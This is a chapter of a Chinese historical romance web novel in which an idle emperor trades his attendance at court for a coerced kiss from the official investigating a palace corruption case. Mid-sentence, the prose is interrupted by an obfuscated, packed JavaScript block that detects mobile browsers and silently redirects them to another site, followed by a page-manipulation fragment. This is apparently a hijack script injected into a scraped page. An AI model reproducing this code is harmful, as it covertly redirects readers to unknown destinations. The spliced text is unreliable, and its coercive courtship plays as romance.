闻幸百无聊赖地侧卧躺在靠窗的罗汉榻上,望着窗外挂在夜幕中的硕大一轮银盘。
身后传来宁无劫好听的声音:“......汴梁城外三十里有个杨柳镇,镇中有一家“聚珍斋”古董铺。店主顾二郎,祖上三代经营此业......”
宁无劫一面念着话本子,一面疲惫地揉了揉睛明穴。
此时李德全走来,躬身道:“陛下,几位老臣从晌午候到现在,真的不见吗?”
闻幸摆手:“不见。”
他都能猜到这些老头要干什么。无非是要他理政,要他上朝,亦或是要他收回宁无劫的批红之权,来来回回就那么老三样。
李德全似是有些为难,瞥一眼仍在念话本的宁无劫。
宁无劫接到他的求救视线,垂眸思索了一会,放下本子道:“陛下,还想听那个六品主事的故事吗?”
闻幸耳根动了一下。
“更新了?”
他发现古代的话本多是些情爱,经史等,鲜少悬疑破案类的。
追宁无劫的案子,他就当话本追了。
前几日还在暗骂宁无劫给自己挖坑的他,转眼化身追更读者,他仿佛听见了自己被打脸的声音。
好疼。
宁无劫猜到“更新”的意思,压了一下唇角,“那位六品主事为了他.娘的安危宁死不屈,监察司也毫无办法,再审下去,恐怕人就没了。所以......”
查不下去了吗?闻幸略显失望,“看来你们监察司也不过如此。”
却听宁无劫话锋一转:“所以,臣把他.娘亲从颍川‘绑’来了。”
闻幸:?
他一下子转过身,坐了起来,“绑去了......诏狱?”
这会不会有点狠?
闻幸打量一眼少年,这几日光看见对方被他逗到脸红了,以为是个纯情少年,万万没想到还是朵黑莲花。
反差还挺大。
不过回想起历史上对周武帝“杀伐果断”“冷血残酷”的描述,又好像是这犟种会干出来的事。
但......那可是个老太太,确定不会还没进诏狱的门就被吓死吗?
见闻幸目光有些复杂地审视自己,宁无劫淡淡道:“当然是送去了监察司辖下的官驿安顿了。”
闻幸:......
“否则,陛下以为臣会把年过七旬的老妪送进诏狱那种有去无回的地方吗?”
宁无劫说时靠近半步,眸底微光一闪,幽幽道:“原来陛下的心这么狠。”
闻幸:......
很好!
胆子越来越大了。
闻幸十分怀疑自己上次那句“朕怎么舍得你死”,让这犟种抓到了关窍,打量自己绝对不会对他下手,所以要把近日受的气都找补回来。
这是学会蹬鼻子上脸了。
闻幸眯了眯眼,二指一勾示意宁无劫靠近。
只见对方犹豫了一瞬,警惕地看他一眼,却还是照做了。
闻幸勾唇,顺势揪过对方的衣襟用力一拽,一张俊脸刹那间近在咫尺。
“朕就是这么心狠,你可要好好伺候了,否则朕就杀了你,再换个美少年来养眼。”
低沉的声音犹如耳语,伴着吐息拂在耳侧。
二人贴得太近,鼻息都交错在一起,无孔不入的龙涎香熏得宁无劫有些眩晕。
在他避无可避的视线里,一双鸦羽般的睫忽闪,微垂的眼睑敛去半片宝石般的眸子,宛若月下清泉。
纤细的脖颈冷白如雪,其上精巧漂亮的喉结宛若一座小山峰。
明明这话如毒蛇吐信一般,该叫他生厌的。
明明他应该用力推开这人,怒斥昏君的。
可他却只是无意识地收紧了指节,绷紧下颌,从牙缝里挤出一句:“遵旨。”
闻幸终于满意地放开他。
宁无劫直起身来,垂睫敛去眼底一闪而逝的眸光。
他压了压嗓子,继续扯回原来的话头:“臣将那位主事带去了官驿与他.娘亲相见。”
“并告诉他如果招供,他.娘亲今后的虎骨都由监察司提供,并保证二人性命。若是不招,他.娘当日便会收到他的尸首。”
闻幸竖起耳朵,“然后呢?”
“然后......”宁无劫从袖中掏出一个精致的金属盒子,递给闻幸。
闻幸打开盒子,里头是块一寸长的骨头,在骨头的末端,刻印着一个圆形的繁复徽记。这印记他似有些印象,好像跟他常用的药盒上的一样,出自御药房。
这是皇家的东西。
“这是他.娘亲拿到的虎骨,本来送药之人总是掐着用量,一日一送,绝不多给,应是怕留下证据。”
“但是他.娘亲觉得这药金贵,想着若是能攒下一点,将来能换大钱。于是每次用药时都削下一些留作下次使用,时日一长,竟也攒出一截完整的虎骨了。”
闻幸拧眉,“所以,宫里有人监守自盗?”
宁无劫:“那主事说他也不知道幕后之人是谁,只是每隔一段时日,门房便会收到封匿名信,信中便付着这虎骨,并指出要他故意压下的折子,只要照做,他.娘便会有源源不断的药引子。”
闻幸:“所以之前他不招,是担心幕后之人知晓后不再供药。”
宁无劫颔首。
闻幸:“不知道幕后之人是谁,那这线索岂不是断了?”
宁无劫摇头,“未必。”
闻幸挑眉,“怎么说?”
宁无劫看他一眼,道:“臣有一法,但需要陛下上朝。”
听见上朝两个字,闻幸的眉心就又拧起来。
诚然他讨厌工作,特别是早朝都在凌晨举行,他根本起不来。
最重要的是,只要上朝就免不了听见朝臣们为这样那样的政事吵起来。
每次都吵得他脑仁疼,甚至有一次吵到他心绞痛发作,朝野上下乱作一团。
从那以后他便不上朝了。
闻幸有些抗拒,“这与案子有什么关系?”
只见宁无劫俯首到闻幸身侧耳语,“臣想请陛下在朝堂之上......”
听完宁无劫的话,闻幸恍然点点头。
可他还是不想去。
他只是想听故事,可没想参与到故事里去。
于是他眯了眯眼,看着宁无劫故作姿态道:“要朕上朝倒也不是不可以。那你......”
似是怕这昏君又要说出什么惊人之语,宁无劫忙截口道:“陛下就不想查出那幕后之人是谁吗?”
闻幸斜睨一眼宁无劫。
这小子,难道说案子吊他胃口,就是为了骗他上朝?
无良昏君的眸子微微动,戏谑道:“可你既然是求朕帮忙,不该有个求人的样子吗?”
宁无劫心头升起一丝不详的预感。
这昏君该不会又要......
果见那昏君冲他勾勾手指,“你过来。”
玉白的指节在眼前晃,宁无劫的视线仿佛被烫了似地垂眼,悄悄握紧了拳,“陛下,要做什么?”
“让朕亲一下,朕就应你。”
闻幸倒不是多想亲,他就是想看看这倒霉孩子为了查案能做到什么地步。
哎,闻幸也是觉得自己被这宫里拘得太闷了。
成天就爱逗人玩。
可是......
他看着宁无劫羞愤的反应。
真的很好玩啊。
只见宁无劫瞳仁微颤,忽地站直了身子后退半步,拳头攥得死紧,在半掩的袖子发出轻响,甚至指甲都嵌入血肉里。
又是这样,总是这样!
无耻!
他倏地闭眼,血脉在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029856|178560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
耳中轰鸣,恨不得一拳打醒这昏君!
可很快他的理智再次牵制住了他,开始了激烈的心理斗争。
冷静,他这是为了查案。
军需一拖再拖,为了宁远军,他要将这些老狐狸一击致命!
为此,需要这昏君帮忙。
可是,昏君是必要的吗?
没有昏君就不能有别的法子?
......
必要。
既然必要,那他也只能......
他齿间咬出腥甜气味,再次睁眼时,眸光有如冰封。
他坚忍万分地,缓缓俯身下去。
闻幸看见宁无劫的脸靠了过来,一双眼眶又倏地红了,而且肉眼可见地迅速潮湿起来。
因为距离的拉近,闻幸甚至看见对方衣襟内,因愤怒而绷得死紧的脖颈上,蔓出了一点淡嫣红,像染上了一层薄薄的丹蔻。
闻幸心头惊叹。
看来为了查案真的是豁出去了。
二人距离贴近,近到唇瓣就快要碰到一起。
察觉到一点不对劲的闻幸:......
等一下,他说的好像是让宁无劫给他亲吧?
他好像没说亲嘴吧?
还没等他想明白自己哪没说清楚,唇瓣上便倏然传来微凉而柔软的触感。
在那一瞬间,他恍惚看见宁无劫的脸颊上滚过一道湿意。
唇瓣一触即分。
少年飞快地站直并转过身去,只留给闻幸一个后背。
他好像看见少年抬袖擦了一下侧脸,动作很快,他没太看清。
闻幸愣了愣。
该不会真哭了吧?
宁无劫再次转过身来时,脸上虽然湿意消失了,但眼睛还是红的,“够了吗?”
声音特别低沉,像是要压着什么似的。
他有点恍惚地“嗯”了一声。
他这是逗过头了吗?
宁无劫双眼直直盯着皇帝,几乎是质问般的语气咬牙道:“那陛下可以上朝了吗?”
他强压下心头汹涌的情绪,原本强烈的屈辱与愤怒在吻落下去的一瞬间,竟倏忽被另一种异样的感觉取代。
他不知道那是什么。
他本以为自己会厌恶那个吻。
但是出奇的是并没有。
甚至那种异样的软滑的触感牢牢地烙印在了他的脑海里,连带着心脏都在狂跳。
自己一定是哪里出了问题。
病了,他想着。
闻幸勾了一下唇,满意地道:“既然宁卿伺候得好,朕当然也可以勉为其难。”
他说时起身下榻,往门外去,“那就择日不如撞日吧。”
“通知朝臣们,今日要上晚朝。”
早起是不可能早起的,但晚朝还是可以上的。
谁让他今天心情好呢。
李德全频频颔首,冲宁无劫投去一个感激的眼神。
还得是陛下心尖尖上的人才能劝得动陛下啊。
这不,满朝文武费了牛劲,哪怕撞柱都劝不住的陛下,给小美人碰个嘴就破天荒地去上朝了。
啧啧啧。
老太监不无感慨。
还是美人好啊。
宁无劫沉默着,视线落在闻幸清癯出尘的背影上。
那人一身天青色织锦道袍飘逸如风,行走间一股龙涎香散溢出来,拂至他的鼻尖。
宁无劫瞳仁一颤。
他忽然想起自己每次靠近昏君时,都能闻见这样的香气,每每令他眩晕。
他方才怕不是着了这香的道了。
一定是的。
昏君熏的香里到底掺了什么?
是惑人心神的毒药吗?
想用这种下作手段控制他?
痴心妄想!
等着,他一定会查出来的。